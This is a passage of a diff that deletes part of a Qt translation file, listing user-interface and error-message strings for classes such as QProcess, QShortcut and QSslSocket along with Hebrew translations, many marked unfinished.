-</context>
-<context>
- <name>QProcess</name>
- <message>
- <location filename="../src/corelib/io/qprocess_unix.cpp" line="+475"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+147"/>
- <source>Could not open input redirection for reading</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+36"/>
- <source>Could not open output redirection for writing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+235"/>
- <source>Resource error (fork failure): %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+259"/>
- <location line="+53"/>
- <location line="+74"/>
- <location line="+67"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+422"/>
- <location line="+50"/>
- <location line="+75"/>
- <location line="+42"/>
- <location line="+54"/>
- <source>Process operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qprocess.cpp" line="+533"/>
- <location line="+52"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-211"/>
- <location line="+50"/>
- <source>Error reading from process</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+47"/>
- <location line="+779"/>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="+140"/>
- <source>Error writing to process</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-709"/>
- <source>Process crashed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+912"/>
- <source>No program defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qprocess_win.cpp" line="-341"/>
- <source>Process failed to start</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QProgressDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qprogressdialog.cpp" line="+182"/>
- <source>Cancel</source>
- <translation>ביטול</translation>
- </message>
-</context>
-<context>
- <name>QPushButton</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="-8"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
-</context>
-<context>
- <name>QRadioButton</name>
- <message>
- <location line="+12"/>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QRegExp</name>
- <message>
- <location filename="../src/corelib/tools/qregexp.cpp" line="+64"/>
- <source>no error occurred</source>
- <translation type="unfinished">לא אירעה כל שגיאה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>disabled feature used</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad char class syntax</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad lookahead syntax</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>bad repetition syntax</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>invalid octal value</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>missing left delim</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected end</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>met internal limit</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLite2Driver</name>
- <message>
- <location filename="../src/sql/drivers/sqlite2/qsql_sqlite2.cpp" line="+396"/>
- <source>Error to open database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+41"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback Transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLite2Result</name>
- <message>
- <location line="-323"/>
- <source>Unable to fetch results</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+147"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLiteDriver</name>
- <message>
- <location filename="../src/sql/drivers/sqlite/qsql_sqlite.cpp" line="+528"/>
- <source>Error opening database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Error closing database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSQLiteResult</name>
- <message>
- <location line="-400"/>
- <location line="+66"/>
- <location line="+8"/>
- <source>Unable to fetch row</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to reset statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Unable to bind parameters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Parameter count mismatch</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-208"/>
- <source>No query</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QScrollBar</name>
- <message>
- <location filename="../src/gui/widgets/qscrollbar.cpp" line="+448"/>
- <source>Scroll here</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Left edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Top</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+143"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+4"/>
- <source>Page down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Scroll left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-6"/>
- <source>Line up</source>
- <translation type="unfinished">סדר בשורה</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Position</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Line down</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSharedMemory</name>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory.cpp" line="+207"/>
- <source>%1: unable to set key on lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+81"/>
- <source>%1: create size is less then 0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+168"/>
- <location filename="../src/corelib/kernel/qsharedmemory_p.h" line="+148"/>
- <source>%1: unable to lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+22"/>
- <source>%1: unable to unlock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory_unix.cpp" line="+78"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+87"/>
- <source>%1: permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-22"/>
- <source>%1: already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+9"/>
- <source>%1: doesn&apos;t exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+9"/>
- <source>%1: out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+7"/>
- <source>%1: unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>%1: key is empty</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>%1: unix key file doesn&apos;t exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>%1: ftok failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+51"/>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="+15"/>
- <source>%1: unable to make key</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>%1: system-imposed size restrictions</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>%1: not attached</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/kernel/qsharedmemory_win.cpp" line="-27"/>
- <source>%1: invalid size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+68"/>
- <source>%1: key error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+38"/>
- <source>%1: size query failed</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QShortcut</name>
- <message>
- <location filename="../src/gui/kernel/qkeysequence.cpp" line="+373"/>
- <source>Space</source>
- <translation type="unfinished">רווח</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Esc</source>
- <translation type="unfinished">Esc</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Tab</source>
- <translation type="unfinished">Tab</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Backtab</source>
- <translation type="unfinished">Backtab</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Backspace</source>
- <translation type="unfinished">Backspace</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Return</source>
- <translation type="unfinished">Return</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Enter</source>
- <translation type="unfinished">Enter</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ins</source>
- <translation type="unfinished">Ins</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Del</source>
- <translation type="unfinished">Del</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Pause</source>
- <translation type="unfinished">Pause</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Print</source>
- <translation type="unfinished">הדפס</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>SysReq</source>
- <translation type="unfinished">SysReq</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Home</source>
- <translation type="unfinished">Home</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>End</source>
- <translation type="unfinished">End</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Left</source>
- <translation type="unfinished">שמאלה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Up</source>
- <translation type="unfinished">למעלה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right</source>
- <translation type="unfinished">ימינה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Down</source>
- <translation type="unfinished">למטה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PgUp</source>
- <translation type="unfinished">PgUp</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PgDown</source>
- <translation type="unfinished">PgDown</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>CapsLock</source>
- <translation type="unfinished">CapsLock</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>NumLock</source>
- <translation type="unfinished">NumLock</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ScrollLock</source>
- <translation type="unfinished">ScrollLock</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Menu</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Back</source>
- <translation type="unfinished">אחורה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Forward</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Stop</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Refresh</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Mute</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Boost</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Treble Up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Treble Down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Play</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Stop</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Previous</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Record</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Favorites</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Search</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Standby</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Open URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch Mail</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch Media</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (0)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (1)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (3)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (4)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (5)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (6)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (7)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (8)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (9)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (A)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (B)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (C)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (D)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (E)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (F)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Print Screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page Up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page Down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Caps Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Num Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Number Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Insert</source>
- <translation type="unfinished">הוסף</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete</source>
- <translation type="unfinished">מחק</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Escape</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>System Request</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Select</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Yes</source>
- <translation type="unfinished">כן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>No</source>
- <translation type="unfinished">לא</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Context1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Call</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hangup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Flip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+527"/>
- <location line="+122"/>
- <source>Ctrl</source>
- <translation type="unfinished">Ctrl</translation>
- </message>
- <message>
- <location line="-121"/>
- <location line="+125"/>
- <source>Shift</source>
- <translation type="unfinished">Shift</translation>
- </message>
- <message>
- <location line="-124"/>
- <location line="+122"/>
- <source>Alt</source>
- <translation type="unfinished">Alt</translation>
- </message>
- <message>
- <location line="-121"/>
- <location line="+117"/>
- <source>Meta</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-25"/>
- <source>+</source>
- <translation type="unfinished">+</translation>
- </message>
- <message>
- <location line="+46"/>
- <source>F%1</source>
- <translation type="unfinished">F%1</translation>
- </message>
- <message>
- <location line="-720"/>
- <source>Home Page</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSlider</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+151"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Position</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page down</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSocks5SocketEngine</name>
- <message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="-67"/>
- <source>Connection to proxy refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection to proxy closed prematurely</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Proxy host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Connection to proxy timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Proxy authentication failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Proxy authentication failed: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>SOCKS version 5 protocol error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>General SOCKSv5 server failure</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection not allowed by SOCKSv5 server</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>TTL expired</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>SOCKSv5 command not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Address type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Unknown SOCKSv5 proxy error code 0x%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+685"/>
- <source>Network operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSpinBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-574"/>
- <source>More</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Less</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSql</name>
- <message>
- <location filename="../src/qt3support/sql/q3sqlmanager_p.cpp" line="+890"/>
- <source>Delete</source>
- <translation type="unfinished">מחק</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete this record?</source>
- <translation type="unfinished">האם למחוק רשומה זו?</translation>
- </message>
- <message>
- <location line="+1"/>
- <location line="+16"/>
- <location line="+36"/>
- <source>Yes</source>
- <translation type="unfinished">כן</translation>
- </message>
- <message>
- <location line="-51"/>
- <location line="+16"/>
- <location line="+36"/>
- <source>No</source>
- <translation type="unfinished">לא</translation>
- </message>
- <message>
- <location line="-44"/>
- <source>Insert</source>
- <translation type="unfinished">הוסף</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Update</source>
- <translation type="unfinished">עדכן</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Save edits?</source>
- <translation type="unfinished">האם לשמור את העריכה?</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Confirm</source>
- <translation type="unfinished">אישור</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Cancel your edits?</source>
- <translation type="unfinished">האם לבטל את העריכה שלך?</translation>
- </message>
-</context>
-<context>
- <name>QSslSocket</name>
- <message>
- <location filename="../src/network/ssl/qsslsocket_openssl.cpp" line="+569"/>
- <source>Unable to write data: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+119"/>
- <source>Error while reading: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+96"/>
- <source>Error during SSL handshake: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-524"/>
- <source>Error creating SSL context (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Invalid or empty cipher list (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+62"/>
- <source>Error creating SSL session, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Error creating SSL session: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-61"/>
- <source>Cannot provide a certificate with no key, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Error loading local certificate, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>Error loading private key, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Private key does not certificate public key, %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSystemSemaphore</name>
- <message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="-41"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+66"/>
- <source>%1: out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-13"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+4"/>
- <source>%1: permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: does not exist</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+3"/>
- <source>%1: unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTDSDriver</name>
- <message>
- <location filename="../src/sql/drivers/tds/qsql_tds.cpp" line="+584"/>
- <source>Unable to open connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Unable to use database</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTabBar</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="-326"/>
- <source>Scroll Left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll Right</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTcpServer</name>
- <message>
- <location filename="../src/network/socket/qtcpserver.cpp" line="+282"/>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTextControl</name>
- <message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+1973"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;בטל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">בצע &amp;שוב</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;גזור</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">הע&amp;תק</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Copy &amp;Link Location</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>&amp;Paste</source>
- <translation type="unfinished">ה&amp;דבק</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete</source>
- <translation type="unfinished">מחק</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Select All</source>
- <translation type="unfinished">בחר הכל</translation>
- </message>
-</context>
-<context>
- <name>QToolButton</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+254"/>
- <location line="+6"/>
- <source>Press</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-4"/>
- <location line="+8"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
-</context>
-<context>
- <name>QUdpSocket</name>
- <message>
- <location filename="../src/network/socket/qudpsocket.cpp" line="+169"/>
- <source>This platform does not support IPv6</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QUndoGroup</name>
- <message>
- <location filename="../src/gui/util/qundogroup.cpp" line="+386"/>
- <source>Undo</source>
- <translation type="unfinished">בטל</translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Redo</source>
- <translation type="unfinished">שחזר</translation>
- </message>
-</context>
-<context>
- <name>QUndoModel</name>
- <message>
- <location filename="../src/gui/util/qundoview.cpp" line="+101"/>
- <source>&lt;empty&gt;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QUndoStack</name>
- <message>
- <location filename="../src/gui/util/qundostack.cpp" line="+834"/>
- <source>Undo</source>
- <translation type="unfinished">בטל</translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Redo</source>
- <translation type="unfinished">שחזר</translation>
- </message>
-</context>
-<context>
- <name>QUnicodeControlCharacterMenu</name>
- <message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+884"/>
- <source>LRM Left-to-right mark</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLM Right-to-left mark</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWJ Zero width joiner</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWNJ Zero width non-joiner</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWSP Zero width space</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>LRE Start of left-to-right embedding</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLE Start of right-to-left embedding</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>LRO Start of left-to-right override</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLO Start of right-to-left override</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PDF Pop directional formatting</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
